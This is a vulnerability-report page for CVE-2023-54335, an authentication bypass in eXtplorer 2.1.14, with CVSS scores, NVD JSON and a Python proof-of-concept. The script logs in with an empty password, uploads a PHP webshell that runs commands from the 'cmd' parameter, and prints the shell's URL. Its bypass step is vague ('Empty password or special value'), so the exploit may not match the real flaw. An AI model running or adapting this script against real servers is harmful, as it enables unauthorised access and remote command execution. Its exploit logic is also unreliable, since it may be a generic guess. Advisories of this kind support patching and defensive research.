Security Vulnerability Report
中文
CVE-2023-54335 CVSS 9.8 CRITICAL

CVE-2023-54335

Published: 2026-01-13 23:16:01
Last Modified: 2026-02-03 19:25:21

Description

eXtplorer 2.1.14 contains an authentication bypass vulnerability that allows attackers to login without a password by manipulating the login request. Attackers can exploit this flaw to upload malicious PHP files and execute remote commands on the vulnerable file management system.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:extplorer:extplorer:*:*:*:*:*:*:*:* - VULNERABLE
eXtplorer <= 2.1.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2023-54335 Authentication Bypass PoC # Target: eXtplorer 2.1.14 # Vulnerability: Authentication bypass via login parameter manipulation import requests import sys def exploit_auth_bypass(target_url, target_username='admin'): """ Exploit the authentication bypass vulnerability in eXtplorer 2.1.14 by manipulating the login request to bypass password verification. """ login_url = f"{target_url.rstrip('/')}/extplorer.php" # Payload to bypass authentication # The vulnerability allows login without valid password login_data = { 'username': target_username, 'password': '', # Empty password or special value 'remember': 'true', 'action': 'login' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Attempting authentication bypass on {login_url}") print(f"[*] Using username: {target_username}") session = requests.Session() response = session.post(login_url, data=login_data, headers=headers, timeout=30) # Check if login was successful if 'extplorer' in response.text.lower() and 'login' not in response.url: print("[+] Authentication bypass successful!") print(f"[+] Session cookie: {session.cookies.get_dict()}") # Now upload malicious PHP file upload_url = f"{target_url.rstrip('/')}/extplorer.php" files = { 'do_action': (None, 'upload'), 'dir': (None, '/'), 'file_0': ('shell.php', b'<?php system($_GET["cmd"]); ?>', 'application/octet-stream') } upload_resp = session.post(upload_url, files=files, headers=headers) if upload_resp.status_code == 200: print("[+] PHP webshell uploaded successfully") print(f"[*] Access shell at: {target_url}/extplorer/shell.php?cmd=whoami") return session else: print("[-] Authentication bypass failed") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url> [username]") print(f"Example: python3 {sys.argv[0]} http://target.com/admin admin") sys.exit(1) target = sys.argv[1] username = sys.argv[2] if len(sys.argv) > 2 else 'admin' exploit_auth_bypass(target, username)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-54335", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:16:01.053", "lastModified": "2026-02-03T19:25:21.073", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "eXtplorer 2.1.14 contains an authentication bypass vulnerability that allows attackers to login without a password by manipulating the login request. Attackers can exploit this flaw to upload malicious PHP files and execute remote commands on the vulnerable file management system."}, {"lang": "es", "value": "eXtplorer 2.1.14 contiene una vulnerabilidad de omisión de autenticación que permite a los atacantes iniciar sesión sin una contraseña manipulando la solicitud de inicio de sesión. Los atacantes pueden explotar esta falla para cargar archivos PHP maliciosos y ejecutar comandos remotos en el sistema de gestión de archivos vulnerable."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:extplorer:extplorer:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.1.14", "matchCriteriaId": "FBF3A8EE-33C9-4DB3-80A2-E895A824753D"}]}]}], "references": [{"url": "https://extplorer.net/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51067", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/extplorer-authentication-bypass-remote-code-execution-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/51067", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}